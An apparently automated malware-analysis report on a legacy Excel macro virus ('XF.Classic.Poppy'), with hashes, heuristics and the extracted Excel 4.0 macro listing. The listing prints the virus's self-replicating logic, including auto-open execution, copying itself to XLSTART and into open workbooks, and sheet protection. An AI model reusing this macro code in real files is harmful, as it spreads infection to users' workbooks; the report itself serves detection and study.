Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 adcd88aeea7b9973…

MALICIOUS

Office (OLE)

79.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-06-23
MD5: ea8c0c90f66c9965440a367e237ad712 SHA-1: 2e75e4e4966f636540e8d7ed25b8b989c1892bf6 SHA-256: adcd88aeea7b99739f44b4f60e43264ddb1ddee2ce6bf08df7fadbabb63dd403
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains critical heuristic firings indicating the presence of Excel 4.0 (XLM) macros with dangerous functions like RUN, which are known to be used for executing arbitrary code. The macro sheet also contains markers associated with legacy Excel formula macro viruses, including references to 'Poppy by VicodinES' and 'The Narkotic Network'. The embedded document body text contains strings like 'Hydrocodone/APAP 10-650 For Your Computer' which may be part of a lure or obfuscation.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 17030 bytes
SHA-256: 43990ff28639c3dbdee46a8c661b1581f03124bc1786eb5d136f177b196a64f0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  00000pp
' 0018     27 LABEL : Cell Value, String Constant - _Fill hidden len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PA7 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PA8 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x02\x00\x02'
' 0018     26 LABEL : Cell Value, String Constant - _PD1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x02\x00\x02\x00'
' 0018     27 LABEL : Cell Value, String Constant - _PE12 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     27 LABEL : Cell Value, String Constant - _PE13 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PE6 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PE7 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PE8 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PE9 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PH1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PI1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PK1 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - _PK3 len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x00\x00'
' 0018     32 LABEL : Cell Value, String Constant - aiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x00\x00\x00'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 10!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 10!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 10!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 10!C9 
' 0018     81 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\xf0\x01\t\x04'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     25 LABEL : Cell Value, String Constant - FRC len=7 ptgRef3d  Sheet!C9 
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 10!A15 
' 0018     29 LABEL : Cell Value, String Constant - hostfee len=7 ptgRef3d  Sheet!H12 
' 0018     34 LABEL : Cell Value, String Constant - hraiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x00\x00\x00'
' 0018     26 LABEL : Cell Value, String Constant - hvac len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x00\x00\x00'
' 0018     25 LABEL : Cell Value, String Constant - HWSheet len=3 ptgInt 1 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 10!A26 
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 29 
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 30 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 10!C39 
' 0018     24 LABEL : Cell Value, String Constant - OS len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x00\x00\x00\x00'
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 10!C27 
' 0018     36 LABEL : Cell Value, String Constant - pr_toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x05\x00\x02\x00O\x00\x00\x00\x08\x00'
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 35 
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 36 
' 0018     34 LABEL : Cell Value, String Constant - s_c_list len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x06\x00\xc8\x03\x00\x00\x07\x00'
' 0018     25 LABEL : Cell Value, String Constant - SCG len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\x00\x00\x00\x00'
' 0018     28 LABEL : Cell Value, String Constant - sdlfee len=7 ptgRef3d  Sheet!H13 
' 0018     33 LABEL : Cell Value, String Constant - solar_ratio len=7 ptgRef3d 8!H7 
' 0018     28 LABEL : Cell Value, String Constant - ss7fee len=7 ptgRef3d  Sheet!H18 
' 0018     29 LABEL : Cell Value, String Constant - subsfee len=7 ptgRef3d  Sheet!H14 
' 0018     32 LABEL : Cell Value, String Constant - TableName len=8 ptgStr "Dummy" 
' 0018     33 LABEL : Cell Value, String Constant - toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\x00\x04\x00)\x06\x02\x00\x13\x00'
' 0018     29 LABEL : Cell Value, String Constant - V5.1Fee len=7 ptgRef3d  Sheet!H15 
' 0018     34 LABEL : Cell Value, String Constant - Z32_Cost_red len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x00\x00\x00'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  00000pp,C1,WORKBOOK.HIDE("00000ppy"),""
'  00000pp,A4,"",3.00000000000000000000
'  00000pp,C4,RUN(C18),""
'  00000pp,C5,"ERROR(TRUE,Continue)",""
'  00000pp,C6,IF(A4=3),""
'  00000pp,C7,RETURN(),""
'  00000pp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,C9,ERROR(FALSE),""
'  00000pp,C10,RUN(A21),""
'  00000pp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  00000pp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  00000pp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  00000pp,C14,RETURN(),""
'  00000pp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  00000pp,A16,"ALERT("?1998 The Narkotic Network",2)",""
'  00000pp,A17,RETURN(),""
'  00000pp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  00000pp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  00000pp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  00000pp,A21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  00000pp,A22,"ERROR(TRUE,MakeIt)",""
'  00000pp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"00000ppy"))",""
'  00000pp,A23,IF(A21=0),""
'  00000pp,C23,RETURN(),""
'  00000pp,A24,RETURN(),""
'  00000pp,I25,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,A26,NEW(1),""
'  00000pp,A27,WORKBOOK.INSERT(1),""
'  00000pp,C27,RUN(C19),""
'  00000pp,A28,WORKBOOK.INSERT(1),""
'  00000pp,C28,"ERROR(TRUE,Bust)",""
'  00000pp,A29,ACTIVATE.PREV(),""
'  00000pp,C29,IF(A4=3),""
'  00000pp,A30,RUN(C18),""
'  00000pp,C30,RETURN(),""
'  00000pp,A31,"WORKBOOK.COPY("00000ppy",A1)",""
'  00000pp,C31,ERROR(FALSE),""
'  00000pp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  00000pp,C32,ACTIVATE.PREV(),""
'  00000pp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  00000pp,C33,RUN(C19),""
'  00000pp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  00000pp,C34,"WORKBOOK.COPY("00000ppy",A1)",""
'  00000pp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  00000pp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  00000pp,A36,WORKBOOK.PREV(),""
'  00000pp,C36,RETURN(),""
'  00000pp,A37,WORKBOOK.PREV(),""
'  00000pp,A38,WORKBOOK.PREV(),""
'  00000pp,A39,SAVE.AS(A3),""
'  00000pp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  00000pp,A40,FILE.CLOSE(),""
'  00000pp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  00000pp,A41,RETURN(),""
'  00000pp,C41,RETURN(),""